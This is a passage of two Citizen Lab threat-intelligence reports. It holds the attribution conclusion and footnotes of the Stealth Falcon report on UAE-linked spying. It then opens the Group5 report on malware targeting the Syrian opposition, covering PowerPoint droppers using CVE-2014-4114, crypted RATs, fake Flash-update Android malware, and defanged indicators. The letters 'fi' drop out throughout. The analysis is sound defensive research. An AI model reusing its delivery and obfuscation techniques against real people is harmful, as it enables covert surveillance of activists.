include blackmail or extortion. If this were the case, however, we might expect follow-up interactions between attackers and successful victims, and we would also expect attackers to use off-the-shelf Remote Access Tools (RATs), rather than apparently coding a general-purpose RAT from scratch. This would save them the trouble of needing to load additional malware to ex ltrate les or other material. We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts. Furthermore, Stealth Falcon's use of JavaScript to pro le and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail. The strongest scenario for a non-state sponsored attacker is thus a politically motivated group. Stealth Falcon targets are primarily individuals known for their criticism of the UAE government. It is perhaps conceivable that a group of progovernment hackers might, without coordination, target these individuals. There are, however, several features of Stealth Falcon's activities that tell against this possibility. First, there is limited existing evidence that such autonomous groups exist and are active in the UAE. Given what is known about this kind of group, we might expect such a group to have engaged in defacements, public boasting, or other public-facing activities related to Stealth Falcon's campaign. Furthermore, it seems unlikely that a previously unknown political group would have the resources to develop and maintain Stealth Falcon's ctitious personas and compartmentalized infrastructure. Evaluation of Hypotheses We evaluated both hypotheses and found Hypothesis 1: Stealth Falcon is State Sponsored to be the best at explaining the many elements that we have observed. Stealth Falcon's tactics, resources, and targets all t with the pro le of a state sponsored attacker. Furthermore, the circumstantial evidence we have presented in this report is suggestive of a link between Stealth Falcon and an entity within the UAE Government. 8. Conclusion: The Big Picture Stealth Falcon appears to be a new, state sponsored threat actor. As an operator, Stealth Falcon is distinguished by well informed and sophisticated social engineering, combined with moderately sophisticated97 technical attempts to deanonymize and monitor political targets working on the UAE, and relatively simple malcode.98 Social Engineering and the Achilles Heel of Civil Society Stealth Falcon's technical approach may not be cutting edge, but the operators are neither unsophisticated or ineffective. Analyzed holistically as an operation, Stealth Falcon is a logical and multi-pronged approach to compromising and unmasking a class of targets. Stealth Falcon's campaign highlights the power of social engineering, once a technical bar has been met, in conducting a large scale campaign. Contemporary social movements and civil society groups rely heavily on the internet for both their core operations, as well as advocacy activities. Yet these groups are often operating outside a centrally managed IT environment. The constant sharing of links and materials, as well as regular communications with journalists makes them especially vulnerable to targeting with social engineering. However, the emphasis on social engineering can also cut in the other direction. Many modern attack techniques require an attacker to interact with a target. When operators like Stealth Falcon send malicious e-mails and tweets, there are a range of opportunities for retrospective investigation. As this report shows, the inboxes of targets, for example, are often a more cient object of investigation than computers themselves, especially once features of a particular campaign are recognized. The Growing Trend of Impersonating Journalists Stealth Falcon is only the latest example of civil society-focused threat actors impersonating NGOs and journalists to conduct espionage operations. The tactic has been used by a wide range of actors, including Bahrain's government,99 Packrat in Latin America,100 Iranian groups,101 and China related groups,102 among others. Threat actors seem to gravitate towards this tactic because interacting with journalists is an essential part of civil society activity. It is common for journalists to send unsolicited messages to activists and civil society organizations asking for information, and there is typically a strong incentive for the organization to engage. Indeed, even Western law enforcement agencies have occasionally adopted the approach.103 The reporter-source relationship is protected in many jurisdictions, based on the understanding that protecting this trust is important to a healthy and vibrant civil society. Tactics that play on this trust are risky, and can quickly contribute to eroding the trust on which civil society is based. Final Note: A Plea for More Research Importantly, while we were unable to identify evidence of a conclusive link between Stealth Falcon and a particular sponsor, we have assembled a body of circumstantial evidence that points to an alignment of interests between Stealth Falcon and the UAE Security Forces. We hope that other researchers will draw from our ndings and work to identify additional cases. Finally, we urge anyone who recalls receiving a link to "aax.me," or an email from "Andrew Dwight" to contact the authors of this report for further investigation. Acknowledgements Special thanks to PassiveTotal and Rori Donaghy. Thanks to Jeffrey Knockel, Sarah McKune, Chris Doman, Mansoureh Mills. Footnotes 1 http://www.youthdiplomaticservice.com/zzold-business-blog/category/business 2 See for example: http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution- 1712843977; http://www.middleeasteye.net/news/uae-paid-pr- rm-millions-brief-uk-journalists-qatar-muslim-brotherhoodattacks-1058875159; http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution1712843977; http://www.middleeasteye.net/news/exclusive-emirati-plan-ruling-egypt-2084590756 3 http://www.middleeasteye.net/users/rori-donaghy 4 http://www.middleeasteye.net/about-middle-east-eye-1798743352 5 http://www.echr.org.uk/ 6 http://www.echr.org.uk/?page_id=25 7 https://freedomhouse.org/report/freedom-world/2015/united-arab-emirates 8 https://www.hrw.org/world-report/2016/country-chapters/united-arab-emirates 9 https://www.amnesty.org/en/countries/middle-east-and-north-africa/united-arab-emirates/ 10 https://www.usenix.org/system/ les/conference/usenixsecurity14/sec14-paper-marczak.pdf 11 https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ 12 https://wikileaks.org/hackingteam/emails/emailid/585453 13 http://www.uae-embassy.org/news-media/sheikh-mohamed-bin-zayed-al-nahyan-meets-congressional-leaders-and-seniorus-government 14 https://ht.transparencytoolkit.org/rcs-dev%5Cshare/HOME/cristian/9.4%20lic/UAEAF/LICENSE-1262004202-v9.4.lic 15 https://owncloud.org/ 16 https://www.proofpoint.com/us/of ce365 17 http://rightto ghtexhibit.org/home/ 18 http://www.powershellempire.com/ 19 http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights-151103070038231.html 20 Based on last-modi ed header 21 http://www.andlabs.org/tools/jsrecon.html 22 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 23 https://yourls.org/ 24 https://github.com/YOURLS/YOURLS 25 A Firefox extension to be used in conjunction with Tor, before the introduction of Tor Browser 26 Importantly, making Tor users appear similar to non-Tor users was a not a goal 27 https://trac.torproject.org/projects/tor/ticket/5922 28 https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-gregory_ eischer-attacking_tor.pdf 29 https://blog.torproject.org/blog/new-tor-browser-bundles-windows 30 https://blog.torproject.org/blog/tor-browser-36-released 31 https://msdn.microsoft.com/en-us/library/2yfce773(v=vs.94).aspx#s-e6f6a65cf14f462597b64ac058dbe1d0-system-media- system-caps-note 32 https://en.wikipedia.org/wiki/Cross-origin_resource_sharing 33 https://esupport.trendmicro.com/en-us/home/pages/technical-support/1057722.aspx 34 http://support.kaspersky.com/us/11255 35 http://ssj100.fullsubject.com/t446-avira-antivir-premium-allows-all-outbound 36 http://www.wilderssecurity.com/threads/port-80-is-redirected-to-30606-and-no-webpage-is-opened.212599/ 37 https://community.mcafee.com/thread/21790?tstart=0 38 The tool is available at: http://www.andlabs.org/tools/jsrecon.html. The JavaScript source code may be viewed by viewing the source of jsrecon.html 39 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 40 http://www.andlabs.org/tools/jsrecon/jsrecon.html 41 https://code.google.com/p/google-security-research/issues/detail?id=679 42 http://www.huf ngtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 43 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 44 https://www.indexoncensorship.org/2015/03/united-arab-emirates-stop-the-charade-and-release-activists-convicted-at-themass-uae-94-trial/ 45 http://blogs.voanews.com/repressed/2014/01/14/update-shez-cassim-back-home-after-months-in-uae-jail/ 46 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 47 http://newday.blogs.cnn.com/2013/12/11/u-s-man-in-jail-in-dubai-over-parody-video/ 48 https://www.youtube.com/watch?v=IUk5CB9kaBY 49 http://www.nydailynews.com/news/national/shezanne-cassim-sentenced-year-united-arab-emirates-parody-video-article1.1556327 50 https://www.article19.org/resources.php/resource/37279/en/united-arab-emirates:-stop-the-charade-and-release-activistsconvicted-at-the-mass-uae-94-trial 51 https://www.amnesty.org/en/documents/mde25/015/2014/en/ 52 http://www.gc4hr.org/report/view/33 53 http://www.buid.ac.ae/vc 54 http://www.wam.ae/ar/news/emirates/1395239973989.html http://emarati.katib.org/2011/03/09/%D8%A5%D9%85%D8%A7%D8%B1%D8%A7%D8%AA%D9%8A%D9%88%D9%86%D9%8A%D8%B1%D9%81%D8%B9%D9%88%D9%86-%D8%B1%D8%B3%D8%A7%D9%84%D8%A9%D9%84%D8%AD%D9%83%D8%A7%D9%85-%D8%A7%D9%84%D8%A5%D9%85%D8%A7%D8%B1%D8%A7/ 56 http://www.cnn.com/2011/WORLD/meast/03/09/uae.petition/ 57 http://www.bbc.com/news/world-middle-east-13043270 58 http://www.alittihad.ae/details.php?id=8416&y=2005 59 http://www.thenational.ae/uae/courts/defendant-denies-insulting-leaders-of-uae-on-social-media 60 http://dohanews.co/uae-court-convicts-qataris-for-insulting-royals-on-social-media/ 61 http://www.thenational.ae/uae/foreign-agent-ordered-to-spread-false-information-about-uae 62 https://www.instagram.com/9ip/ 63 https://twitter.com/Bu_saeed2/status/158267593269063680 64 http://www.gc4hr.org/news/view/198 65 http://www.echr.org.uk/?page_id=207 66 https://twitter.com/islam_way_2030/status/232392466760863744 67 https://twitter.com/a7rarelemarat/status/259883131807621120 68 http://www.bbc.com/news/world-middle-east-20768205 69 https://twitter.com/islam_way_2030/status/232393358243401728 70 http://www.echr.org.uk/?p=1104 71 https://twitter.com/Dwight389/status/327033672979079168 72 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 73 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 74 https://twitter.com/Dwight389/status/398413653315031041 75 http://www.thenational.ae/uae/courts/20150518/ ve-qataris-found-guilty-of-insulting-uae-royals 76 https://twitter.com/MiriamKhaled/status/156625204280434688 77 https://twitter.com/Bu_saeed2/status/156781983983349760 78 https://twitter.com/kh_oz/status/351828658371039233 79 https://twitter.com/Dwight389/status/332452681325088768 80 https://twitter.com/r7aluae2/status/156418043424157696 81 http://www.huf ngtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 82 https://twitter.com/Bu_saeed2/status/156406670866653184 83 https://github.com/YOURLS/YOURLS/wiki/Spam 84 http://www.bbc.com/news/world-middle-east-20768205 85 https://www.passivetotal.org/ 86 sonar-ssl 87 https://wordsecure.com/ 88 https://github.com/quasar/QuasarRAT/blob/master/Client/Core/Recovery/Browsers/InternetExplorer.cs 89 See https://web.archive.org/web/20131207060523/https://velocity les.com/login.php and https://web.archive.org/web/20131207054158/https://velocity les.com/register.php 90 http://templates.entheosweb.com/template_number/live_demo.asp?TemplateID=54257 91 http://aax.me/1a732 92 https://en.wikipedia.org/wiki/Emirates_Discussion_Forum 93 http://www.echr.org.uk/?p=1104 94 https://twitter.com/Ahmed_Mansoor/status/256142870896054273 and https://twitter.com/Ahmed_Mansoor/status/256144504116109312 95 https://metrics.torproject.org/ 96 http://www.bbc.com/news/world-middle-east-20768205 97 e.g., local portscanning from webpages with JS-Recon, determining web browser versions by testing JavaScript functionality, Tor Browser pro ling bug, macro infection. 98 e.g., Powershell remote shell. 99 https://citizenlab.org/2012/07/from-bahrain-with-love- shers-spy-kit-exposed/ 100 https://citizenlab.org/2015/12/packrat-report/ 101 https://citizenlab.org/2015/08/iran_two_factor_phishing/ 102 https://targetedthreats.net/ 103 http://www.latimes.com/nation/la-na-associated-press-lawsuit-20150827-story.html Group5: Syria and the Iranian Connection citizenlab.org /2016/08/group5-syria/ By John Scott-Railton,* Bahr Abdulrazzak,* Adam Hulcoop,* Matt Brooks,* & Katie Kleemola** *The Citizen Lab at the Munk School of Global Affairs, University of Toronto; **Lookout Inc. Read the Associated Press exclusive, Read the op-ed by Citizen Lab Director Ron Deibert. Other media: BoingBoing, BBC, Voice of America Persian, IB Times, Softpedia, Asharq Al-Awsat, AlArabiya, SecurityWeek, SC Magazine, Okaz, Milliyet, Twsas, Radio Sawa, Foreign Policy, Schneier on Security. Executive Summary This report describes an elaborately staged malware operation with targets in the Syrian opposition. The operators use a range of techniques to target Windows computers and Android phones with the apparent goal of penetrating the computers of well-connected individuals in the Syrian opposition. We first discovered the operation in late 2015 when a member of the Syrian opposition spotted a suspicious e-mail containing a PowerPoint slideshow. From this initial message, we uncovered a watering hole website with malicious programs, malicious PowerPoint files, and Android malware, all apparently designed to appeal to members of the opposition. Elements of the Syrian opposition have been targeted by malware campaigns since the early days of the conflict: regimelinked malware groups, the Syrian Electronic Army, ISIS, and a group linked to Lebanon reported by FireEye in 2015 have all attempted to penetrate opposition computers and communications. Some of these operations are still active as of the time of writing. This report adds one more threat actor to the list: Group5, which we name to reflect the four other known malware groups. Group5 stands out from the operations that have already been reported on: some of the tactics and tools used have not been observed in this conflict; the operators seem comfortable with Iranian Persian dialect tools and Iranian hosting companies; and they appear to have run elements of the operation from Iranian IP space. 1/48 Like a chameleon, Group5 borrows opposition text and slogans for e-mail messages and watering holes, showing evidence of good social engineering and targeting. However, Group5 s technical quality is low, and their operational security uneven. This is a common feature of many operations in the Syrian context: since the baseline security of many of the targets is very low, many successful threat actors seem to conserve (and in some cases not possess) more sophisticated techniques. We believe we identified Group5 early in its lifecycle, before all of the malware that had been staged and prepared could be deployed in a full campaign. Our analysis indicates that Group5 is likely a new entrant in Syria, and we outline the circumstantial evidence pointing to an Iranian nexus. We do not conclusively attribute Group5 to a sponsor, although we suspect the interests of a state are present, in some form. Group5 is just the latest addition to an expanding cast of actors targeting Syrian opposition groups, and its entry into the conflict shows the continuing information security risks that they face. Background: The Perpetual Targeting of the Syrian Opposition Syrians have experienced monitoring and blocking of their electronic communications for many years. As a result, many 2/48 more technically literate Syrians have familiarized themselves with VPNs and other tools to circumvent simple blocking, and achieve a degree of privacy. After the 2011 Uprising began, the regime disconnected telecommunications services in many areas controlled by opposition groups. This led, in these areas, to the widespread adoption of satellite internet connectivity, mostly via VSAT (Very Small Aperture Terminal) services like Tooway and iDirect, and to a lesser extent the use of BGAN (Broadband Global Area Network) terminals. At the same time, the Syrian opposition s activities outside the country, both in neighboring countries like Turkey, as well as in the diaspora, dramatically increased. Much of this activity takes place over social networks, free e-mail accounts like Gmail (and Google Apps for Work), and via tools like Skype s VoIP services. These shifts in connectivity limited the effectiveness of the passive monitoring and blocking used by the Al Assad Regime, and frustrated its abilities to monitor the opposition. However, the shift towards social networks and other online tools has created new opportunities for the regime to target the opposition. Opposition members constantly share information, files, tools and programs, via social media. This highlyconnected environment enables them to be highly aware of changing events, and quickly mobilize resources. In addition, a number of online services, such as the Google Play Store, are blocked or restricted for Syria. As a result, a culture of sharing Android APK files has also developed. The heavy reliance on popular online platforms, and regular sharing of tools, presents many opportunities to seed malicious files. For the regime, a successful operation means a chance to regain visibility into the activities of groups within the geographic borders of Syria, while extending their reach outside into the diaspora. For other groups, such as ISIS, the digital vulnerability of the opposition presents an opportunity to develop a capability against opposition communications. The following section outlines several of these known threat actors. Regime-Linked Groups The most well-known threat actor to target the Syrian Revolution is the Syrian Electronic Army (SEA). However, many of the targets of the SEA have been Western organizations, although the SEA continues to conduct lower-profile operations that include malware against the opposition. Less notorious, although still the subject of reporting, are malware groups linked to the regime. These malware groups have been active since 2011, and have used a wide range of CommercialOff-The-Shelf (COTS) Remote Access Trojans (RATs) to target the opposition. Typically, these groups bundle RATs with a wide range of documents and programs designed to appeal to the opposition. Over the years, these campaigns have included everything from revolution plans, lists of wanted suspects, to fake security and encryption tools. These campaigns have been extensively characterized by reports from the Citizen Lab, The Electronic Frontier Foundation, and private companies like TrendMicro and Kaspersky. A range of reports have documented these regime-linked campaigns over the years. Pro-Regime Groups Outside Syria There is also evidence of pro-Assad groups outside Syria participating in malware campaigns against opposition. Notably, a group reported on in 2015 by FireEye (in collaboration with one of the authors of this report) used female avatars to send trojaned documents to high profile figures in opposition politics, aid, and armed groups. The operation yielded over 31,000 conversations, and a trove of sensitive information about a variety of groups plans and activities. This group also made use of fake matchmaking websites and social media accounts to backstop their deception. ISIS-Linked Groups On a different side of conflict, the Citizen Lab documented a malware operation linked to ISIS against the group Raqqa is Being Slaughtered Silently (RBSS) in 2015. The operators, masquerading as a group of RBSS sympathizers based in Canada, targeted victims with a file that claimed to contain locations of ISIS forces and US Airstrikes within Syria. The file actually contained custom malware that collected and transmitted information about the infected computer. The report concluded that there was strong circumstantial evidence linking the malware to members of ISIS. 3/48 Many Groups, Similar Tactics Each of these groups has distinct Tactics, Techniques and Procedures (TTPs). However, one common thread among the many publicly-reported groups is that they rarely use exploits in their campaigns, instead relying heavily on social engineering and trickery to convince targets to execute malicious files, disguised as innocuous documents. This may reflect some of these groups lack of technical sophistication. For example, many regime-linked groups seem to have very limited skills and technical resources, and rely almost entirely on RATs coupled with well-informed social engineering. These techniques have evolved, but not improved radically since 2011. In other cases, such as the Lebanonlinked group reported on by FireEye, operators may have access to more sophisticated techniques, but see little reason to use them against their targets, given the limited technical capabilities of the opposition. Part 1: Discovering Group5 This section describes the e-mails that first alerted us to an operation targeting the Syrian political opposition in October 2015. On October 3rd 2015, Noura Al-Ameer, a well-connected Syrian opposition political figure, negotiator, and former Vice President of the opposition Syrian National Council (SNC), received a suspicious e-mail.1 The e-mail purported to come from a human rights documentation organization she had never heard of: Assad Crimes. The sender, using the e-mail address office@assadcrimes[.]info claimed to be sharing information about Iranian crimes, a theme familiar to many in the opposition. Fig. 1: Noura Al-Ameer, former SNC Vice President and a target of the operation. An activist from Homs, Syria, Al-Ameer was detained and tortured in the security branches, later moved to the infamous Adra prison in Damascus, prior to fleeing the country several years ago. Today, she is a delegate to the SNC s political council and works to document war crimes committed during the conflict. Her identity was falsely used to register the assadcrimes website. 4/48 Interestingly, Al-Ameer s own name was used in the assadcrimes[.]info domain registration, along with other false information (we speculate on the reason for using her name in Part 6: Analysis of Competing Hypotheses). Along with a brief pretext in the Subject and Body, the e-mail also contains an attached Microsoft PowerPoint Slideshow (PPSX) document that, when clicked, directly opens and runs a PowerPoint slideshow. E-mail 1: The Initial Message (Dropper Doc 1) On October 3rd 2015, Al-Ameer received the initial e-mail message, containing the first malicious file: Translation: From: office@assadcrimes[.]info Subject: Iran is killing the Pilgrims in Mina Body: Iran s Crimes in the Kingdom of Saudi Arabia Examination of the header of the message indicates that the message was sent via 88.198.222[.]163, the same IP address as the Command & Control (C2) for the malware dropped by the file (See Part 3: Windows Malware). Assadcrimes.ppsx MD5 : 76F8142B4E52C671871B3DF87F10C30C Communication with the Operator Al-Ameer, who is no stranger to digital threats, recognized that the e-mail was suspicious, and on our instruction made contact with the operator, hoping to elicit further malware. Al-Ameer s E-mail: Translation: 5/48 From: [Redacted] To: office@assadcrimes[.]info Body: Hello The file didn t work . Please send a correct version E-mail 2: The Operator Replies (Dropper Doc 2) Shortly after the target s message, the operator replied with an updated file, sent via a webmail client (RoundCube): Translation: From: office@assadcrimes[.]info To:[Redacted] Body: inf* download We are unsure why the second e-mail does not contain additional social engineering text. It is possible this was an oversight, or that the Group5 operator at the time was not comfortable writing in Arabic. Assadcrimes1.ppsx MD5: F1F84EA3229DCA0CCACB7381A2F49F99 Bait Content: Syria and Iran-Themed PowerPoint Slideshows The PPSX documents (assadcrimes.ppsx & assadcrimes1.ppsx) contain a series of images and Arabic text, including cartoons and photographs describing politically sensitive events, such as aggressions launched by Iran against Saudi Arabia, and the politics surrounding the current Syrian conflict. The documents also provide a historical overview of Iranian-linked attacks and other events in the Kingdom of Saudi Arabia. Translation: On 1404 A.H 1984 A.D Iranian warship attacked Saudi Arabia On 1404 A.H, two Iranian war planes headed to Jubail industrial city, to bomb and hit critical factories (Petrochemical factory) and by god s well, the Saudi s air forces was able to hit one plane, while the other managed to escape. When opened, both files download malware onto the victim s machine. Malware from these files is analyzed in Part 3: Windows Malware. Part 2: The Assadcrimes Website Group5 operated a website, assadcrimes[.] info that served as a watering hole for Android and Windows malware. This 6/48 section outlines the various files hosted on the site. After the initial e-mails, we began to monitor a website linked to the e-mails: assadcrimes[.]info. At the time of these emails (Oct. 3, 2015), the site was not fully functional. However, within a few days (Oct. 11, 2015) the main page displayed Posts Tagged Bashar Assad Crimes with content apparently critical of Bashar Assad. The content appears to have been scraped from an opposition blog, as well as from other opposition sites. This blog was created in the name of Tal alMallohi, known as Syria s youngest prisoner of conscience. The original blog creation predates the current unrest in Syria. Shortly before this publication of Group5, the website was listed as expired and parked, indicating that the owner chose not to renew the domain. Figure 2: Screenshot from a slide referred to an Iranian attack in 1984 against petrochemical facilities in Saudi Arabia. Malware Seeding on the Website (Dropper Doc 3) While monitoring the website, we identified several directories that auto-download a further malicious file (assadcrimes.info.ppsx). These links seem designed for other forms of social engineering, perhaps using similar bait to the messages targeting Al-Ameer. The Assadcrimes.info.ppsx file concerns the Syrian conflict, with characters and cartoons culled from social media and online sites. Translation: A new Play in Syria Russian-American plan to divide the Syrian cake. When viewed, the victim s computer is silently infected with malware (See Part 3: Windows Malware). Assadcrimes.info.ppsx 7/48 MD5: 30BB678DB3AD0140FC33ACD9803385C3 Martyred Children (Decoy Dropper 4) Elsewhere on the site we found several HTML pages that, when visited, triggered the downloading of a malicious executable named martyred children (alshohadaa alatfal.exe). When executed, the program pulls images hosted on assadcrimes[.]info of the Ghouta Chemical Attacks, while simultaneously infecting the target machine with malware. Malware from the website is described in Part 3: Windows Malware alshohadaa alatfal.exe MD5: 2FC276E1C06C3C78C6D7B66A141213BE Android Malware While examining the assadcrimes[.]info website, we identified Android malware, seeded via a fake Adobe Flash Player Figure 3 : Screenshot of the website taken in April 2016 (assadcrimes[.]info). update notification. We describe this Android malware in detail in: Part 4: Android Malware. adobe_flash_player.apk MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D Part 3: Windows Malware 8/48 Group5 used (or was staging) a range of malware in this operation, ranging from malicious PowerPoint slideshows using exploits to executable files that directly drop malware. A comprehensive analysis of their malware is found in Appendix A: Windows Malware Analysis. Malicious PowerPoint The initial Group5 targeting that we observed in the e-mails to Al-Ameer included PPSX documents as a vehicle for Group5 Staging and Targeting malware using two different techniques: (1) executing OLE objects using animation actions within a PowerPoint slideshow and; (2) using CVE-2014-4114 to drop and execute malicious code. In assadcrimes.ppsx the operators embed an OLE Package object within a PowerPoint slideshow. When displayed as an animation, the object is executed while the slideshow is viewed, a technique that has been previously described (for more 9/48 detail, see Appendix A: Dropper Doc 1 & Appendix A: Dropper Doc 3 ). In this case the user is presented with a prompt asking whether they wish to run the object. In the assadcrimes1.ppsx, the operator has created a PowerPoint file that leverages CVE-2014-4114, a vulnerability in the OLE packager component of the Windows operating system (See Appendix A: Dropper Doc 2 ). Figure 4 : A slide from the file Assadcrimes.info.ppsx Decoy Applications The operators have also created a decoy application, hosted on assadcrimes[.]info, that displays images of child victims of the 2013 Ghouta Chemical Attacks. When executed, the application silently decrypts and drops the malware (See Appendix A: Decoy Dropper 4 ). 10/48 Figure 5 : showing screenshot of alshohadaa alatfal.exe running. Images blurred by the authors. 11/48 Figure 6: The malicious executable within the PowerPoint slideshow, when viewed in edit mode. A victim double clicking on the slideshow would not be shown the object. 12/48 The RATs The operators use these techniques to deliver two commonly available Remote Access Trojans (RATs): njRat and NanoCore RAT. In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including crypting and packing to reduce the possibility of detection by antivirus software. Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, to capturing passwords and keystrokes. The RATs also enable the operator to remotely delete files, and spy on the computer user via the microphone or webcam. Antivirus Detection 13/48 On July 26, 2016 we conducted a VirusTotal search for the MD5 hashes of each of the files encountered during this operation. The results, provided in Appendix D: File Hashes, were consistent with a highly focused or targeted operation in that only two of the 16 (12.5%) unique MD5s were found. Figure 7 : Screenshot of njRAT working, and accessing the victim s files. Part 4: The Android Malware While examining assadcrimes[.]info, we determined that the site was also hosting a decoy Flash Player update page. This page, located on a subdomain, included a download link to a malicious Android APK. For a full analysis of this malware see Appendix B: Android Malware . While examining the website we found that the operators had prepared Android malware masquerading as an Adobe Flash Player update notification. Clicking on the Update link (See Figure 8) downloads a malicious file, masquerading as a software update. The APK is an instance of DroidJack. According to Symantec, this malware evolved from an older codebase known as SandroRAT. The RAT provides a wide range of functionality, enabling the operator to capture messages, contacts, photos and other materials from the device. In addition, DroidJack can also remotely activate the phone camera and microphone, without notifying the victim. Figure 9 shows some of the functionality available. A more extensive analysis of the DroidJack malware, can be found in Appendix B: Android Malware . Interestingly, DroidJack has also emerged recently, bundled with versions of Pok mon Go . This approach to mobile malware seeding, while cumbersome, might be assumed to have greater success in the target group of Syrians than other populations. It is common for Syrians to share Android APK files outside the Google Play Store, as Google Play Services are not available within Syria. This practice carries over to the Syrian diaspora in other countries, despite the availability of Google Play. As a result, we suspect that most devices are set to accept APK files from unknown developers. Part 5: Attribution Group5 left a number of clues as to their origin and identity, including the tools they used, where they hosted their website 14/48 and C2, and how they accessed the website. Notably, Group5 may have also been using a customized version of an Iranian obfuscation tool. This section provides an overview of the clues left by Group5 on the website, and in the malware. First, we analyze logs that the operator mistakenly left publicly visible on the assadcrimes[.]info website. These logs include not only the visitors to the site, but also the IP addresses and user agent strings that belong to the operator as she or he logged into the site during the development phase. These artifacts provide interesting clues as to the operator s identity and operational security practices, such as using a VPN, and suggest a strong Iranian nexus. Second, we note the use of Persian-language tools in Group5, from the mailer to the packer. Finally, we analyze a recurrent theme in the binaries: Mr. Tekide a name that appears regularly in the implants. We link this name to the Iranian developer of a series of malware tools, several of which were used in this operation. Additionally, we examine the circumstantial evidence connecting this developer to Group5 s activities. Unprotected Logs Several key directories on the assadcrimes[.]info site were left as public, including a folder containing the website logs, a feature Group5 seems to have enabled early in the operation. These logs date to the early development and operation of 15/48 Figure 8: Screenshot from the subdomain that was used to host the fake Flash Player update page. Figure 9: DroidJack server list of commands. the website, and reveal interesting clues about operator origin and operational security. After processing the logs to remove crawlers belonging to Google, Bing, Yandex and others, we scrutinized the logs of the site for evidence of victims, but were unable to locate any victim IPs with high confidence. Identifying the Operator from Website Logs While the logs provided few clues as to victims, they proved to be exceptionally useful for identifying the IP addresses used by Group5 as they developed the site. Looking at the earliest logs in the set, from October 11, 2015, we find the operator accessing the site hourly from an Iranian IP block as the development continues. 16/48 Figure 10: Screenshot of 11th October 2015 log, showing list of IP s and referrer from hostnegar[.]com The first logged visits to the site come from the IP address 37.137.131[.]70, which belongs to a block registered to Rightel Communication , an Iranian mobile phone network operator. inetnum: 37.137.128[.]0 37.137.255[.]255 netname: RighTel descr: Rightel Communication Service Company PJS country: IR admin-c: RP12366-RIPE tech-c: RP12366-RIPE status: ASSIGNED PA mnt-by: TA59784-MNT created: 2013-08-20T11:13:17Z last-modified: 2014-05-17T05:28:10Z source: RIPEperson: RighTel PJS address: 9th floor, Chooka Building, No 8 , west Armaghan Street, Vali-e-Asr Street (After Niayesh Highway), Tehran, Iran phone: + 982127654530 nic-hdl: RP12366-RIPE mnt-by: TA59784-MNT created: 2014-05-17T05:23:47Z last-modified: 2014-05-17T05:23:47Z source: RIPE Further confirming the link is that the operator s traffic includes a referrer from the Iranian hosting company (hostnegar[.]com) for the site. Tracing the operator through an initial UserAgent string (a version of Windows NT 6.3) 2 and IP address, we found them accessing the site from an iPhone, other Iranian IP addresses, as well as VPNs. Additionally, the operator accessed the site directly from the malware s C2 server (88.198.222[.]163). These links provide evidence for an Iranian nexus, and suggest that the operator may have been taking steps to conceal their true origin IP. However, these steps were not well executed, which enabled us to track Group5 as they continued to access the site. Interestingly, after the flurry of activity in October 2015, by November-December the operator accessed the site only 7 times, and between January-February 2016 only twice (it is possible we have missed some access attempts that appear to be innocuous traffic). We concluded from this that Group5 may have stepped back from the site at some point after the 17/48 New Year. A Persian-language Mailer Before the assadcrimes[.]info page was fully populated with decoy content, we found that the site was hosting a Persianlanguage mailer (See Figure 14 below). We were not able to determine how the mailer was being used by Group5, as it was not observed sending any of the e-mails we were able to analyze. Links to Known Threat Actors Group5 appears to have used only a single shared web hosting provider and a single command and control IP address for this operation. We are unsure whether this strategy was the product of limited resources, an effort to Figure 11: Hostnegar s login page compartmentalise the operation from other activities, or simply a highly targeted operation with a specific focus. The narrow infrastructure and small number of observed targets limited our search base for potential infrastructure overlap with known groups. In a holistic evaluation of the campaign, we failed to identify links with the TTPs of previously documented threat actors or groups active in Syria. We also failed to find a link in searches of malware databases and open source searching. On the level of TTPs, superficially there is similarity between this group and other active groups originating in Iran. The group multiply documented by Palo Alto Networks, which they call Infy, is also known to use PowerPoint files in their 18/48 targeting, although we found no overlap in infrastructure. Furthermore, their targeting (according to what Palo Alto Networks has said publicly) is slightly different, and involved PowerPoint 97-2003 documents (not PPSX files) during the same period in which Group5 was using a different tactic. We cannot not rule out the possibility that a known group is behind this operation, and that we missed or lacked access to a key piece of evidence that would link such a group to Group5 s infrastructure or tools. One interesting direction for further investigation came from analysis of the tool used to obfuscate the RATs, which yielded a number of interesting connections to known threat actors and tools. Notably, the PAC Crypt tool, and Mr. Tekide, the alias of an Iranian malware developer. Figure 12: User agents for the site owner, accessing the website from Iranian IPs and VPN. Crypt Figure 13 : User agents for the site owner, accessing the website from the C2, and using VPNs. Commonly used in malware campaigns, crypters are programs which are designed to disguise the underlying malicious binary by hiding it within a layer of obfuscation which is then deobfuscated at the time of execution. In this way, crypting a malicious binary provides a level of protection against signature-based endpoint security tools such as antivirus. In Appendix A we describe the discovery of a series of strings which suggest that both the njRAT and NanoCore RAT payloads were built, and then subsequently obfuscated using a crypter tool named PAC Crypt 19/48 Careful inspection revealed that the crypter in this case had been compiled in debug mode, thus preserving PDB reference data. PDB file references are common in .Net applications when compiled in debug mode, and they frequently reveal the original file path of the application source code on the developer s computer. Below are the PDB strings discovered when examining the crypted njRAT and NanoCore files: Reference: Doc Dropper 1 Crypter MD5: a4f1f4921bb11ff9d22fad89b19b155d Compile Time: 9/30/2015 00:02:51 c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani vds\windowsapplication2\obj\debug\launch manager.pdb Figure 14: A screenshot for the mailer as it was on October 4, 2015. Reference: Doc Dropper 3 